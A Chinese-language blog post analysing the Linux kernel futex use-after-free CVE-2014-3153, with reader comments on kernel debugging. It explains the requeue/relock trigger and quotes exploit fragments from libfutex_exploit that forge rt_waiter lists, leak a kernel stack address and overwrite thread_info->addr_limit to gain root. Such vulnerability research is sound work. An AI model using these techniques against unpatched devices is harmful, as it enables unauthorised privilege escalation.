CVE-2014-3153可以说是相当经典的漏洞,影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞,利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞,在当时(以及现在)能够Root(或Crash)绝大多数Android设备。由于工作的需要,收集了该漏洞的一些资料,并且对漏洞原理和利用方法进行了一些学习和分析。
参考资料
以下是收集的资料:
- http://blog.nativeflow.com/the-futex-vulnerability
- http://blog.nativeflow.com/escalating-futex
- http://blog.nativeflow.com/pwning-the-kernel-root
- http://blog.topsec.com.cn/ad_lab/cve2014-3153/
- https://github.com/timwr/CVE-2014-3153
- https://github.com/android-rooting-tools/libfutex_exploit
- https://github.com/nativeflow/pwntex
- http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot
- https://github.com/torvalds/linux/commit/e9c243a5a6de0be8e584c604d353412584b592f8
个人觉得NativeFlow的三篇文章详细的解释了各种细节以及利用方法,包括使用模拟器进行内核调试、问题代码补丁地址、Crash PoC以及图示。天融信的文章结合了NativeFlow的三篇文章,并加入了自己的见解和分析,也挺不错,就是排版稍差。pwntex是NativeFlow给出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit则是两个可以在Android上获取Root权限的PoC。
漏洞原理
以pwntex的requeue为例说明这个漏洞的过程。
1. main -> futex_lock_pi(&B);
此时会进入系统调用futex_lock_pi,执行的正常流程,B中的内容被设置为线程的Id。
2. thread -> futex_wait_requeue_pi(&A, &B);
这是在main创建的新线程中,进入系统调用futex_wait_requeue_pi后,初始化一个futex_q结构体和rt_mutex_waiter。然后调用futex_wait_queue_me在A上进行等待,此时futex_q会被加入到A对应的hb->chain上。
3. main -> futex_requeue_pi(&A, &B, A);
进入内核调用futex_requeue,接下来会走到futex_proxy_trylock_atomic,然后调用futex_lock_pi_atomic。在futex_lock_pi_atomic中,由于B已经被锁住,流程走到lookup_pi_state,lookup_pi_state内部会创建一个pi_state,并且挂入task->pi_state_list。这个是新线程的task。所以,此时线程2的task结构中的pi_state_list挂上了一个pi_state。然后返回到futex_requeue中,尝试把A上的futex_q转移到B上。在这个过程中,会取出futex_q中的rt_waiter,添加到之前创建的pi_state的pi_mutex链表上。
4. B = 0;
在用户态解锁。
5. futex_requeue_pi(&B, &B, B);
再次进入futex_requeue,此时futex_lock_pi_atomic会成功获取锁并返回,然后分支会走向 requeue_pi_wake_futex,尝试唤醒等待的线程。 requeue_pi_wake_futex的代码:
static inline void requeue_pi_wake_futex(struct futex_q* q, union futex_key* key, struct futex_hash_bucket* hb) { get_futex_key_refs(key); q->key = *key; __unqueue_futex(q); WARN_ON(!q->rt_waiter); q->rt_waiter = NULL; q->lock_ptr = &hb->lock; wake_up_state(q->task, TASK_NORMAL); }
6. thread -> futex_wait_requeue_pi(&A, &B);
此时线程2被唤醒,代码如下:
/* Check if the requeue code acquired the second futex for us. */ if (!q.rt_waiter) { /* * Got the lock. We might not be the anticipated owner if we * did a lock-steal - fix up the PI-state in that case. */ if (q.pi_state && (q.pi_state->owner != current)) { spin_lock(q.lock_ptr); ret = fixup_pi_state_owner(uaddr2, &q, current); spin_unlock(q.lock_ptr); } } else { /* * We have been woken up by futex_unlock_pi(), a timeout, or a * signal. futex_unlock_pi() will not destroy the lock_ptr nor * the pi_state. */ WARN_ON(!q.pi_state); pi_mutex = &q.pi_state->pi_mutex; ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1); debug_rt_mutex_free_waiter(&rt_waiter);
由于requeue_pi_wake_futex把futex_q的rt_waiter清零了,所以流程会走第一个分支。导致了rt_waiter没有从q.pi_state->pi_mutex摘除。导致了UAF。
利用原理
结合libfutex_exploit,说利用的原理。利用requeue和relock导致的结果是在pi_state->pi_mutex残留了一个在线程2栈上的rt_waiter,使用sendmmsg之类的系统调用,可以控制内核栈上的内容。因此,用户态控制内核栈中rt_waiter的内容。通过设置线程的优先级以及futex_lock_pi,可以控制pi_state->pi_mutex链表。rt_waiter的结构如下:
struct list_head { struct list_head *next; struct list_head *prev; }; struct plist_node { int prio; struct list_head prio_list; struct list_head node_list; }; struct rt_mutex; struct rt_mutex_waiter { struct plist_node list_entry; struct plist_node pi_list_entry; struct task_struct *task; struct rt_mutex *lock; };
所以,通过控制插入节点,即插入rt_waiter,用户态可以泄露出一个内核的rt_waiter地址。适当的构造链表,可以利用插入向任意内核地址写入一个rt_waiter的地址。NativeFlow的文章中的描述是“write an uncontrolled value to a controlled address”,十分贴切。
libfutex_exploit中的用法是,在用户态创建两个伪造的rt_waiter,并设置他们的优先级分别为13和13,然后将这两个rt_waiter连在一起:
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters) { rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9; rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13; plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list); plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list); }
然后通过futex_lock_pi插入一个优先级位于9和和13的rt_waiter,企图将rt_waiter插入到伪造的链表中。如果插入成功,用户态可以拿到内核的栈地址(这一步只是探测):
setup_waiter_params(rt_waiters); magicval = rt_waiters[0].list_entry.prio_list.next; do_futex_lock_pi_with_priority(11); if (rt_waiters[0].list_entry.prio_list.next == magicval) { printf("failed to exploit...\n"); return false; }
这个泄露了rt_waiter的线程对于提权至关重要。通过这个内核栈地址,可以计算出这个线程的thread_info的地址,方法是用栈地址和0xffffe000进行AND运算。而修改thread_info->addr_limit可以控制线程范围内存的范围,只要大于0xc0000000,就可以访问部分内核,修改为0xffffffff则是整个内核空间。
插入链表的最终实现如下:
static inline void __list_add(struct list_head* new, struct list_head* prev, struct list_head* next) { next->prev = new; new->next = next; new->prev = prev; prev->next = new; // write kernel. }
libfutex_exploit利用的方法是,用户态构造rt_waiter链表,然后修改了第二个rt_waiter的prev修改为另外一个线程的thread_info->addr_limit。这样在内核执行__list_add时,会把prev指向的地址当作一个节点处理,会向这个地址写入一个rt_waiter的地址。也就是说,把某个线程的thread_info->addr_limit写入了一个内核栈地址,所以写入之后该线程能够访问一部分的内核空间。libfutex_exploit中对应的代码如下:
pid = do_futex_lock_pi_with_priority(11); magicval = rt_waiters[0].list_entry.prio_list.next; hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000); pthread_mutex_lock(&is_thread_awake_lock); kill(pid, SIGNAL_HACK_KERNEL); pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); pthread_mutex_unlock(&is_thread_awake_lock); sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read); setup_waiter_params(rt_waiters); rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit; do_futex_lock_pi_with_priority(12);
在有漏洞的机器上执行完上述代码,pid对应的线程就具备了访问内核地址的能力,可以进行提权和Patch。为了能够访问整个内存,有一种利用代码是不断的尝试去修改addr_limit,直到有一条线程能够修改其他线程的addr_limit,然后改成0xffffffff。libfutex_exploit没这样做的原因是,内核栈地址一般都比较大,修改完之后,线程已经能够范围内核的代码空间。libfutex_exploit被用在android_run_root_shell中,android_run_root_shell使用了统一的接口进行漏洞利用,均是企图修改ptmx_fops_fsync_address来执行内核代码进行提权,所以这样已经足够了。如果产品化的话,还有很多坑要踩,Android的碎片化实在太严重。
断断续续看了一段时间,直到现在才把大部分细节弄明白,十分佩服发现漏洞的Comex和能写出Exploit的牛人们。最后,UAF的利用,需要注意覆盖和利用的时机,在IE里也一样。
楼主你好,我最近也在研究这个问题,不知道这个漏洞你是如何调试的,调试起内核后,不太清楚该在什么地方下断,那几个主要的futex函数会被频繁调用,不太好判断断点的时机
主要是静态。之前动态调试的方法:
1. 用户态创建创建futex时,使用mmap分配一个固定的基址,然后使用固定偏移构造两个固定地址的futex;
2. build模拟器,修改内核函数,硬编码上述futex地址,对这俩futex操作的时候触发断点。
来晚了啊 看不到了 看不到了
Pingback引用通告: Android内核漏洞学习——CVE-2014-3153分析(2) - 黑客圈
Pingback引用通告: Android内核漏洞学习——CVE-2014-3153分析(1) - 黑客圈